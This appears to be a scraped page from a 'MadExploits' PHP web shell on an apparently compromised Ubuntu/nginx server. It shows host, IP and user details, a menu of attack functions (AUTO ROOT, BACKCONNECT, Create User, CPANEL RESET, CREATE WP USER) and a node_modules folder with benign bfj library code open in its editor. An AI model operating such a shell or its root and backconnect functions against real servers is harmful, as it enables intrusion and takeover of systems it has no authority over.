Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
bfj /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
datastream.js
394
B
-rw-rw-rw-
error.js
479
B
-rw-rw-rw-
eventify.js
7
KB
-rw-rw-rw-
events.js
457
B
-rw-rw-rw-
index.js
346
B
-rw-rw-rw-
jsonstream.js
394
B
-rw-rw-rw-
match.js
6.69
KB
-rw-rw-rw-
memory.js
856
B
-rw-rw-rw-
parse.js
3.81
KB
-rw-rw-rw-
promise.js
88
B
-rw-rw-rw-
read.js
779
B
-rw-rw-rw-
stream.js
504
B
-rw-rw-rw-
streamify.js
5.91
KB
-rw-rw-rw-
stringify.js
1.74
KB
-rw-rw-rw-
unpipe.js
1.17
KB
-rw-rw-rw-
walk.js
14.15
KB
-rw-rw-rw-
write.js
1.65
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : write.js
'use strict' const fs = require('fs') const promise = require('./promise') const streamify = require('./streamify') module.exports = write /** * Public function `write`. * * Returns a promise and asynchronously serialises a data structure to a * JSON file on disk. Sanely handles promises, buffers, maps and other * iterables. * * @param path: Path to the JSON file. * * @param data: The data to transform. * * @option space: Indentation string, or the number of spaces * to indent each nested level by. * * @option promises: 'resolve' or 'ignore', default is 'resolve'. * * @option buffers: 'toString' or 'ignore', default is 'toString'. * * @option maps: 'object' or 'ignore', default is 'object'. * * @option iterables: 'array' or 'ignore', default is 'array'. * * @option circular: 'error' or 'ignore', default is 'error'. * * @option yieldRate: The number of data items to process per timeslice, * default is 16384. * * @option bufferLength: The length of the buffer, default is 1024. * * @option highWaterMark: If set, will be passed to the readable stream constructor * as the value for the highWaterMark option. * * @option Promise: The promise constructor to use, defaults to bluebird. **/ function write (path, data, options) { const Promise = promise(options) return new Promise((resolve, reject) => { streamify(data, options) .pipe(fs.createWriteStream(path, options)) .on('finish', () => { resolve() }) .on('error', reject) .on('dataError', reject) }) }
Close